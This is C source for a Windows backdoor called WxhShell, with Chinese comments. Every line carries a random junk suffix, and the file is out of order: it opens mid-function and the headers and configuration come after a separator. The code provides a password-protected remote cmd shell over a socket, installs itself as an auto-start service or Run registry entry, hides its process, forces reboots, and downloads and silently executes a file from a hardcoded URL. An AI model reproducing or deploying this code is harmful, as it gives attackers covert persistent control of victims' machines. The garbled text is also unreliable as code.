    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+BgY4OY  
    else { I7_D $a=  
    closesocket(wsh); \xZBu"  
    ExitThread(0); oQXkMKZ  
    } 16Y~5JAc  
    break; MdjLAD)f+C  
    } _Xv/S_yW  
  // 获取shell >PVi 3S  
  case 's': { @[RY8~  
    CmdShell(wsh); 614/wI8(  
    closesocket(wsh); )89jP088V  
    ExitThread(0); 11T\2&Q  
    break; 7jbm w<d)9  
  } I`kp5lGD2  
  // 退出 m wCnP8:K  
  case 'x': { 8} k,!R[J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kzu9Qm-+z^  
    CloseIt(wsh); pi}H.iF  
    break; 5mNXWg7#]  
    } sZB6zTX J  
  // 离开 mlWIq]J  
  case 'q': { @/(7kh +  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7qz-RF#s8  
    closesocket(wsh); zn!  
    WSACleanup(); wIj2 IAD  
    exit(1); }x1IFTa!  
    break; /xbZC{R  
        } 4Z<l>!  
  } ({VBp[Mh  
  } K-C,+eI  
g0OS<,:  
  // 提示信息 e:D"_B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9y*! W  
} 2vN(z %p  
  } I{I [N &N  
{kH^OZ^(e  
  return; JW [\"`x!  
} ;j>d"i36&  
;Hb[gvl   
// shell模块句柄 8m6nw0   
int CmdShell(SOCKET sock) hb8XBBKR  
{ y(  
STARTUPINFO si; 7NC8<o;  
ZeroMemory(&si,sizeof(si)); da'E"HN@G~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X/Rx]}[   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KAcri<^G  
PROCESS_INFORMATION ProcessInfo; U(=9&c@]  
char cmdline[]="cmd"; O9X:1>a@i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D>e\OfTR:  
  return 0; l1Q+hz5"*U  
} 5l/l]  
<^_Vl8%  
// 自身启动模式 6CmFmc,  
int StartFromService(void) # pB:LPEsK  
{ = DTOI  
typedef struct e=UVsYNx  
{ cloSJmUlQ  
  DWORD ExitStatus; ^p zxwt  
  DWORD PebBaseAddress; 0P40K  
  DWORD AffinityMask; W.D3$  
  DWORD BasePriority; T$8~9 qx  
  ULONG UniqueProcessId; <?{}Bo0xG  
  ULONG InheritedFromUniqueProcessId; U"Hquo  
}   PROCESS_BASIC_INFORMATION; 3t{leuO'  
lO:{tV  
PROCNTQSIP NtQueryInformationProcess; O\Mq<;|7m  
s8d}HI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?EQ^n3U$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &qP-x98E?  
tZ j,A%<  
  HANDLE             hProcess; :U.)YHY  
  PROCESS_BASIC_INFORMATION pbi; rL sK-qQ  
"5JNXo,H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [H%?jTQ  
  if(NULL == hInst ) return 0; LsQ8sFP_"  
* m&: Yje  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3|+f si)x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H..ZvGu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Zf!KQw  
J-\?,4mcP  
  if (!NtQueryInformationProcess) return 0; RL Zf{Q>  
n`z+ w*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &:CjUaP@  
  if(!hProcess) return 0; k-pEBh OH  
6_5d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G6 8Nv:  
?5v5:U(A  
  CloseHandle(hProcess); RjGB#AK  
nlebFDb7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )uid!d  
if(hProcess==NULL) return 0; ]( =wlq)  
bxdXZB n  
HMODULE hMod; ki~y@@3I  
char procName[255]; ? TT8|Os  
unsigned long cbNeeded; +e8>?dkq  
#>:(#^Uu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CFJjh^ ~=  
R,+/A8[j  
  CloseHandle(hProcess); CC>fm 1#i\  
MFH"$t+  
if(strstr(procName,"services")) return 1; // 以服务启动 .?0>5-SfY  
N~$Zeq=  
  return 0; // 注册表启动 hygnC`|  
} XJ h:U0  
7 ZL#f![{  
// 主模块 {y^|ET7  
int StartWxhshell(LPSTR lpCmdLine) 80$0zbw$  
{ &6t3SZV  
  SOCKET wsl; a}Fk x  
BOOL val=TRUE; uPFHlT  
  int port=0; II-$WJy  
  struct sockaddr_in door; B8UZ9I$n  
27a* H1iQ  
  if(wscfg.ws_autoins) Install(); m@Ip^]9ry  
fNqmTRu  
port=atoi(lpCmdLine); 7SK 3  
%[n R|a<  
if(port<=0) port=wscfg.ws_port; zvGK6qCk  
>nhE%:X>  
  WSADATA data; #$t}T@t>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nQ642i%RQ  
!)%>AH'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d=?Mj]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3Rd`Ysp  
  door.sin_family = AF_INET; *f TG8h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EDHg'q  
  door.sin_port = htons(port); F:;!) H*  
#H;hRl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W{A #]r l  
closesocket(wsl); w<Yv`$-`  
return 1; CzSZ>E$%U  
} fK'.wX9  
x[vBK8  
  if(listen(wsl,2) == INVALID_SOCKET) { ~ThVap[*  
closesocket(wsl); 7?MB8tJ5r4  
return 1; 5c]}G.NV  
} /^'Bgnez  
  Wxhshell(wsl); MyH[vE^b  
  WSACleanup(); G'O/JM  
?Q96,T-) c  
return 0; PEW4J{(W  
xJ~ gT  
} `S\zqF<  
Y$`eg|$  
// 以NT服务方式启动 qX5yN| A4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;}/U+`=D?  
{ tyEPU^PM  
DWORD   status = 0; I /On3"U%  
  DWORD   specificError = 0xfffffff; SE^j=1  
j,C,5l=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j0iAU1~_VX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |DE%SVZB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X*!Dc,0.k  
  serviceStatus.dwWin32ExitCode     = 0; =`Po<7D  
  serviceStatus.dwServiceSpecificExitCode = 0; X(k{-|9]  
  serviceStatus.dwCheckPoint       = 0; KdT[*-  
  serviceStatus.dwWaitHint       = 0; DH:GI1Yu>I  
GIm " )}W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 46bl>yk9<  
  if (hServiceStatusHandle==0) return; pWs\.::B  
+Qh[sGDdY  
status = GetLastError(); F$Im9T6  
  if (status!=NO_ERROR) bVoU|`c  
{ 76-jMcGi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {~bIA!kAFI  
    serviceStatus.dwCheckPoint       = 0; jzs.+dAg  
    serviceStatus.dwWaitHint       = 0; +Edzjf~Tt  
    serviceStatus.dwWin32ExitCode     = status; /gz:zThf{  
    serviceStatus.dwServiceSpecificExitCode = specificError; #?{qlgv<p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MA\m[h]  
    return; =)I"wR"v$  
  } 90/vJN  
S!;L F4VA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7\A4vUI3  
  serviceStatus.dwCheckPoint       = 0; *Jvxs R'a1  
  serviceStatus.dwWaitHint       = 0; p%q.*trUb9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _eJXi,  
} w6T[hZ 9  
&{%MjKJ._  
// 处理NT服务事件,比如:启动、停止 Ia629gi5s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `)R?nV b   
{ AF^T~?t  
switch(fdwControl) D ]OD.  
{ HA6G)x  
case SERVICE_CONTROL_STOP: . yZm^&  
  serviceStatus.dwWin32ExitCode = 0; QsiJ%O Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q}kfM^i  
  serviceStatus.dwCheckPoint   = 0; ~U6" ?  
  serviceStatus.dwWaitHint     = 0; ao#!7F  
  { M[, D  *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4% HGMr  
  } AL$W+')  
  return; bGv* -;*  
case SERVICE_CONTROL_PAUSE: L#D9@V'z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *q0`})IQ  
  break; o`bo#A  
case SERVICE_CONTROL_CONTINUE: B?LXI3sQZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 25:Z;J>  
  break; x# VyQ[ok  
case SERVICE_CONTROL_INTERROGATE: k$h [8l( <  
  break; LVnHt}  
}; H@{Objh 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4j> fI)FUW  
} lT]=&m>  
>':5?\C+-  
// 标准应用程序主函数 b1u}fp GF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '>@4(=I  
{ LP:nba :  
$5,~JYcb  
// 获取操作系统版本 JqEW= 5  
OsIsNt=GetOsVer(); !z"Nv1!~|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y\xUT>(J7  
rH&G<o&,  
  // 从命令行安装 t<nFy  
  if(strpbrk(lpCmdLine,"iI")) Install(); Py|;kF~![  
845 W>B  
  // 下载执行文件 ~-TOsRvxR  
if(wscfg.ws_downexe) { 8pXKO"u],  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  1,,|MW  
  WinExec(wscfg.ws_filenam,SW_HIDE); ak;6z]f8[  
} Yd:Q`#7A  
f1mHN7hxW  
if(!OsIsNt) { !VwmPAMr#v  
// 如果时win9x,隐藏进程并且设置为注册表启动 y4@gGC=  
HideProc(); Yi(1^'Bi  
StartWxhshell(lpCmdLine); brh=NAzt  
} u$%A#L[  
else kneuV8+(5  
  if(StartFromService()) q$[n`w-  
  // 以服务方式启动 ['cz;2{:W  
  StartServiceCtrlDispatcher(DispatchTable); 4KXc~eF[M"  
else XphE loL  
  // 普通方式启动 !:WW  
  StartWxhshell(lpCmdLine); [4*1}}gW%5  
BOvF)4`  
return 0; )%mg(O8uL  
} g5+7p@'fV  
S]^`woD  
{ p;shs5  
h >-'-Hx+  
=========================================== |;+qld[4z  
a?F!,=F  
PU1,DU  
h[kU<mU"T  
x5}lgyt  
)I`if(fG  
" rn8cdM N  
xzsdG?P  
#include <stdio.h> ` #OSl  
#include <string.h> |7"$w%2  
#include <windows.h> @PI%FV z~p  
#include <winsock2.h> %{!R l@  
#include <winsvc.h> C&+6>L@  
#include <urlmon.h> Fv8f+)k)Z~  
/7D<'MF  
#pragma comment (lib, "Ws2_32.lib") ,\YAnKn6_  
#pragma comment (lib, "urlmon.lib") mM_ k ^4:  
" .4,."  
#define MAX_USER   100 // 最大客户端连接数 m^V5*JIh  
#define BUF_SOCK   200 // sock buffer _V2xA88  
#define KEY_BUFF   255 // 输入 buffer |A\a4f 'G  
"?3`  
#define REBOOT     0   // 重启 !E2W\chi  
#define SHUTDOWN   1   // 关机 ` qUX.  
>|g?wC}V;  
#define DEF_PORT   5000 // 监听端口 :z&7W<  
8|@9{  
#define REG_LEN     16   // 注册表键长度 e(?]SU|  
#define SVC_LEN     80   // NT服务名长度 !m;H@KR{  
ml6u1+v5  
// 从dll定义API k7@t{Cu0D&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > Lft9e   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jZteooJG|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7B7&9<gc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w(9*7pp  
",yc0 2<  
// wxhshell配置信息 IgIYguQ   
struct WSCFG { /mA,F;   
  int ws_port;         // 监听端口 X6\ sF"E  
  char ws_passstr[REG_LEN]; // 口令 >yB(lKV  
  int ws_autoins;       // 安装标记, 1=yes 0=no >6<q8{*  
  char ws_regname[REG_LEN]; // 注册表键名 #wY0D_3@1  
  char ws_svcname[REG_LEN]; // 服务名 B07v^!Z>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "ZrOrdlg+A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r)^vO+3u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j8Cho5C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 15U(={  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =Yz'D|=t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K/L;8a  
t `kui.  
}; g%nl!dgS  
h6~$/`&]b  
// default Wxhshell configuration _n;;][]S  
struct WSCFG wscfg={DEF_PORT, bQ'8SCe  
    "xuhuanlingzhe", `=UWqb(K_  
    1, @-HG`c ct  
    "Wxhshell", pav'1d%  
    "Wxhshell", i,I B!x  
            "WxhShell Service", H/+B%2Zj  
    "Wrsky Windows CmdShell Service", bD ^b  
    "Please Input Your Password: ", Hc^W%t~  
  1, tM4 Cx  
  "http://www.wrsky.com/wxhshell.exe", Lfog {Vzs  
  "Wxhshell.exe" #]P9b@@e  
    }; 83%)/_&  
lf(`SYQnOY  
// 消息定义模块 !-<p,z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?e[lr>-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4_A0rveP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A@hppaP!  
char *msg_ws_ext="\n\rExit."; U8.7>ENnP&  
char *msg_ws_end="\n\rQuit."; _>+8og/%@  
char *msg_ws_boot="\n\rReboot..."; ]hos+;4p  
char *msg_ws_poff="\n\rShutdown..."; +{<#(}  
char *msg_ws_down="\n\rSave to "; ^D%FX!$  
ziPR>iz-  
char *msg_ws_err="\n\rErr!"; ",6M)3{|c  
char *msg_ws_ok="\n\rOK!"; V!v:]E  
f| _u7"OX  
char ExeFile[MAX_PATH]; 5"XC$?I<}  
int nUser = 0; VTy9_~q  
HANDLE handles[MAX_USER]; w| `h[/,  
int OsIsNt; js iSg/  
WHXj8*]6  
SERVICE_STATUS       serviceStatus; SZaS;hhhHu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |a1{ve[  
BTgG4F/)  
// 函数声明 jTO), v:w  
int Install(void); b 5yW_Ozdh  
int Uninstall(void); ;OqB5qd  
int DownloadFile(char *sURL, SOCKET wsh); W-NDBP:  
int Boot(int flag); Ym%xx!9  
void HideProc(void); wE+${B03  
int GetOsVer(void); .*m>\>Gsgw  
int Wxhshell(SOCKET wsl); J'$>Gk]  
void TalkWithClient(void *cs); Xs: 3'ua  
int CmdShell(SOCKET sock); >leU:7  
int StartFromService(void); ~ab:/!Z  
int StartWxhshell(LPSTR lpCmdLine); T,aW8|  
$9Hcdbdm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fhL,aCS=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nt*Hc1I  
F*"}aP$  
// 数据结构和表定义 &f-Uyr7?  
SERVICE_TABLE_ENTRY DispatchTable[] = S<'[%ihx  
{ aDO !  
{wscfg.ws_svcname, NTServiceMain}, y=?)n\ f  
{NULL, NULL} ;>n,:355L  
}; AGLscf.  
% qV 6  
// 自我安装 M#(+c_(r  
int Install(void) *G* k6.9W!  
{ !1e6Ss  
  char svExeFile[MAX_PATH]; d3=KTTi\  
  HKEY key; sI{ M  
  strcpy(svExeFile,ExeFile); 0 $,SF3K  
BD(Z5+EU1  
// 如果是win9x系统,修改注册表设为自启动 L 4!{h|  
if(!OsIsNt) { B95B|tU>.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /!c${W!sY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j4qJ.i  
  RegCloseKey(key); `@nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IiG6<|d8H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oYukLr  
  RegCloseKey(key); [VE8V-  
  return 0; /`mks1:pK  
    } <J^MCqp!v  
  } %i5M77#Z  
} \otWd  
else { 8ji_#og  
y3fGWa*7e  
// 如果是NT以上系统,安装为系统服务 U&?v:&c#&n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w@{=nD4p  
if (schSCManager!=0) 'FDef#P<  
{ =weSyZ1~  
  SC_HANDLE schService = CreateService -3Hy*1A.  
  ( 2 B  
  schSCManager, J:Qa5MTWp  
  wscfg.ws_svcname, Z'\h  
  wscfg.ws_svcdisp, 8P|D13- Q  
  SERVICE_ALL_ACCESS, DAXX;4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e J6$-r  
  SERVICE_AUTO_START, =>_\fNy  
  SERVICE_ERROR_NORMAL, m6w].-D8  
  svExeFile, p>4-s, W  
  NULL, dw*_(ys  
  NULL, XCBL}pNkR  
  NULL, g"}%2~Urf  
  NULL, 0$ S8 fF@  
  NULL NxsBX :XDn  
  ); !wNr3LG  
  if (schService!=0) 2.l:O2<  
  { tNbN7yI  
  CloseServiceHandle(schService); !6*"(  
  CloseServiceHandle(schSCManager); S[J}UpV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _no*k?o *  
  strcat(svExeFile,wscfg.ws_svcname); ?vbvBu{a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z'.AAOG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;IZwTXu!S  
  RegCloseKey(key); c}2jmwq  
  return 0; eQ]~dA8>  
    } 0 eDHu  
  } m)'=G%y  
  CloseServiceHandle(schSCManager); $w`=z<2yo1  
} =`H@%  
} 'F9jq  
tM'P m   
return 1; =Jyu4j *}  
} iMDM1}b  
~kEI4}O  
// 自我卸载 uFinv2Z '  
int Uninstall(void) |R/%D%_g  
{ A;]}m8(*  
  HKEY key; 1=d6NX)B  
\D*KGd]M0  
if(!OsIsNt) { 62ws/8d6f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yp^rR }N  
  RegDeleteValue(key,wscfg.ws_regname); +[\FD; >  
  RegCloseKey(key); a6)BqlJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GkQpELO:  
  RegDeleteValue(key,wscfg.ws_regname); huh6t !  
  RegCloseKey(key); b?tB(if!I  
  return 0; klT@cO-9  
  } HMh"}I2n  
} %[ Z \S0C  
} e?8FN. q  
else { $Avjnm  
z`f($t[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l)1r+@) \  
if (schSCManager!=0) /rnu<Q#iH  
{ f'EuY17w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lh!J >  
  if (schService!=0) YUtC.TR1  
  { RC7]'4o  
  if(DeleteService(schService)!=0) { 4NheWM6  
  CloseServiceHandle(schService); UCB/=k^m  
  CloseServiceHandle(schSCManager); Qp_isU  
  return 0; Bg x'9p/  
  } \Je0CD=e`  
  CloseServiceHandle(schService); 3q\,$*D.  
  } KBx6NU?;PO  
  CloseServiceHandle(schSCManager); ^:^9l1]  
} eg;~zv  
} Z`ID+  
5B3G @KR  
return 1; \fz<.l]  
} A$Hfr8w1u  
R{<kW9!  
// 从指定url下载文件 Q ayPo]O  
int DownloadFile(char *sURL, SOCKET wsh) 3Q.#c,`jV  
{ Vc\MV0lr  
  HRESULT hr; rWa2pO  
char seps[]= "/"; !Qu"BF   
char *token; 9PXFRxGA  
char *file; -#u=\8  
char myURL[MAX_PATH]; %)zodf  
char myFILE[MAX_PATH]; r!_-"~`7E  
w0rRSD4S8B  
strcpy(myURL,sURL); f e\$@-  
  token=strtok(myURL,seps); G\2 CR*  
  while(token!=NULL) 4'/nax$Bx;  
  { ls\WXCH  
    file=token; =.Pw`.  
  token=strtok(NULL,seps); S"NqM[W  
  } PUp6Q;AdQ  
H<i]V9r  
GetCurrentDirectory(MAX_PATH,myFILE); 5F)C  jQ  
strcat(myFILE, "\\"); jnO9j_CY  
strcat(myFILE, file); 6F!+T=  
  send(wsh,myFILE,strlen(myFILE),0); xpV|\2C  
send(wsh,"...",3,0); 4&<oFW\r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i [7\[  
  if(hr==S_OK) ^}/PGG\~r  
return 0; le|~BG hL  
else 89pEfl j2  
return 1; %g{X?  
h7G"G"  
} V_ :1EBzz  
4;e5H_}Oo  
// 系统电源模块 p& y<I6a,  
int Boot(int flag) AYqX |  
{ ey7 f9  
  HANDLE hToken; +h|`/ &,  
  TOKEN_PRIVILEGES tkp; %(3|R@G.  
DE}K~}sbd  
  if(OsIsNt) { X5zDpi|Dq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ? uzRhC_)!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ElcjtYu4  
    tkp.PrivilegeCount = 1; s4X>.ToMC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k:t ]s_`<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2V mNZ{<  
if(flag==REBOOT) { LO9=xGj.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cLpYW7vZ[  
  return 0; ~7*.6YnI  
} 6iVxc|Ia  
else { 6M @[B|Q(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n4;.W#\  
  return 0; }aa'\8  
} ,>bh$|  
  } SA&Rep^  
  else { W,V:R  
if(flag==REBOOT) { c69C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xI#9  
  return 0; Qp)v?k ]  
} Vz~{UHH6  
else { ?8npG]L)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tU}h~&M  
  return 0; @K  &GJ  
} B3pCy~*5  
} o |{5M|nD  
\tf <B\oa  
return 1; !`Fxa4i>  
} $p1(He0 2  
Sq>dt[7  
// win9x进程隐藏模块 ^bGNq X  
void HideProc(void) y`Wty@  
{ y`<*U;xL  
Jj; L3S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f%is~e~wc  
  if ( hKernel != NULL ) }*M6x;t  
  { 6dq(T_eG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j+i\bks  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l5S aT,%  
    FreeLibrary(hKernel); ;v}GJ<3  
  } ~8q)^vm>f?  
[+rfAW>p}  
return; >6ni")Q9  
} D$w6V  
v,FU^f-'  
// 获取操作系统版本 0M_ DB=  
int GetOsVer(void) 3@etRd;]Kr  
{ \\iQEy<i  
  OSVERSIONINFO winfo; &PR5q 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rN<0 R`4sE  
  GetVersionEx(&winfo); R3 -n>V5o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lUOF4U&r  
  return 1; [T8WThs  
  else }~YA5^VQ$  
  return 0; NH[kNi'  
} lEH65;Nh*  
_F6OM5F"N  
// 客户端句柄模块 :i0uPh\0  
int Wxhshell(SOCKET wsl) $njUXSQ;  
{ S3q&rqarC%  
  SOCKET wsh; 4`4kfiS$  
  struct sockaddr_in client; Tm~" IB*  
  DWORD myID; d`QN^)F0#  
iFd+2S%  
  while(nUser<MAX_USER) TJ10s%,V  
{ 8H%;WU9-  
  int nSize=sizeof(client); iN bIp"W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }5ret  
  if(wsh==INVALID_SOCKET) return 1; +5w))9@  
2~Kgv|09  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R[zpD%CI  
if(handles[nUser]==0) $.Qkb@}  
  closesocket(wsh); ]&o$b]  
else ;;!yC  
  nUser++; NxkGOAOE  
  } bBiE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j_qbAP  
GB23\Yv  
  return 0; >@U*~Nz  
} ] ]u s %  
1auIR/=-  
// 关闭 socket iW)8j 8  
void CloseIt(SOCKET wsh) n4O]8C'lW9  
{ y%&q/tk  
closesocket(wsh); S 8kCp;  
nUser--; ]3D0R;  
ExitThread(0); b_$4V3TA  
} AiwOc+R  
tP:lP#9  
// 客户端请求句柄 BOX{]EOj  
void TalkWithClient(void *cs) T(#J_Y  
{ R}-(cc%5  
4zXFuTr($  
  SOCKET wsh=(SOCKET)cs; aHV;N#Lx3  
  char pwd[SVC_LEN]; G0CW}e@)  
  char cmd[KEY_BUFF]; +>8'mf  
char chr[1]; C/q'=:H;  
int i,j; us1Hu)  
NG=@ -eu  
  while (nUser < MAX_USER) { Df}A^G >X  
*^\Ef4Lh  
if(wscfg.ws_passstr) { -z ID x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A` N,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .6ylZ  
  //ZeroMemory(pwd,KEY_BUFF); evya7^,F  
      i=0; 3$jT*OyG#  
  while(i<SVC_LEN) { EGGWrl}1  
~IY%  
  // 设置超时 j5(Z_dm'  
  fd_set FdRead; {dhXIs  
  struct timeval TimeOut; _:ReN_0  
  FD_ZERO(&FdRead); "SNn^p59k  
  FD_SET(wsh,&FdRead); |'e^QpU5  
  TimeOut.tv_sec=8; Q{O+  
  TimeOut.tv_usec=0; Giid~e33  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S){)Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rF3wx.  
!eGC6o}f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E:,/!9n  
  pwd=chr[0]; sv2A-Dld  
  if(chr[0]==0xd || chr[0]==0xa) { e|g5=2(Pr&  
  pwd=0; _F4Ii-6  
  break; Wjo[ENHM  
  } vt/x ,Y  
  i++; cb@?}(aFl  
    } C1V|0h u  
6`&a&%,O  
  // 如果是非法用户,关闭 socket ML}J\7R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pf]xqhL  
} ]l;o}+`G  
m~w[~flgZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [xK3F+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B+$%*%b  
!`M,XSp(  
while(1) { 3#W T.4k  
h! M  
  ZeroMemory(cmd,KEY_BUFF); %Si6]3-^@  
To\QjP-  
      // 自动支持客户端 telnet标准   OstQqV%@  
  j=0; GiJ *Wp  
  while(j<KEY_BUFF) { Oz w.siD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I!ED?n  
  cmd[j]=chr[0]; <!&[4-;fU  
  if(chr[0]==0xa || chr[0]==0xd) { mbKZJ{|4s  
  cmd[j]=0; kq?Ms|h  
  break; nxO"ua  
  } ^NLmgw Q  
  j++; 9d>-MX'  
    } ]N/=Dd+|  
-5)H<dAQZ  
  // 下载文件 hE &xE;  
  if(strstr(cmd,"http://")) { G ?9"Y%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _Ym]Mj' ln  
  if(DownloadFile(cmd,wsh)) zZ:>do\2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bpOYHc6,*`  
  else 'g">LQ~a+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ):P?  
  } )n1_(;  
  else { mJ<=n?{Z  
Qu"8(Jk/  
    switch(cmd[0]) { af6M,{F  
  |e=,oV"  
  // 帮助 ay4 %  
  case '?': { \Yy$MLs  
